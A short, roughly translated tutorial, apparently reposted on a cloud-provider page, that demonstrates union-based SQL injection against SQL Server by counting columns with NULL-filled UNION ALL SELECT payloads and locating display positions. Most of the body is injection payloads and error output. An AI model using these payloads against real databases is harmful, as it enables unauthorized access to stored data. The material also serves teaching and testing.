SQL SERVER injection Principle Demonstration

Source: Internet
Author: User
Tags sql server injection

SQL SERVER injection Principle Demonstration

The operation of the injection scenario in the database is reproduced.
Injection
'Message 206, level 16, status 2, 9th rows
Operand type conflict: ntext is incompatible with int
SELECT * FROM eims_User WHERE UserID = '4' AND 1 = 2

Union all select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19
Message 206, level 16, status 2, 9th rows
Operand type conflict: ntext is incompatible with int

The solution is to use union all to replace union, and use null to replace the number of number segments. When the number is reached, replace null with a number.


20 null errors,
 

SELECT * FROM eims_User WHERE UserID='4' AND 1=1UNION ALL  SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null SELECT * FROM eims_User WHERE UserID='4' AND 1=1UNION ALL  SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null 


(But at this time and 1 = 1, two rows are returned)
If 19 are null, all returns are normal. Therefore, it can be determined that the table has 19 fields.


At this time, replace AND 1 = 1 with AND 1 = 2, AND replace null with int-type values, one by one. When an error is reported, replace the error bit with the original null, others remain unchanged.
In this way, the display bit can be obtained.

SELECT * FROM eims_User WHERE UserID = '4' AND 1 = 2
Union all select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, null, 17, 18, 19

Other operations, To be continued...
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.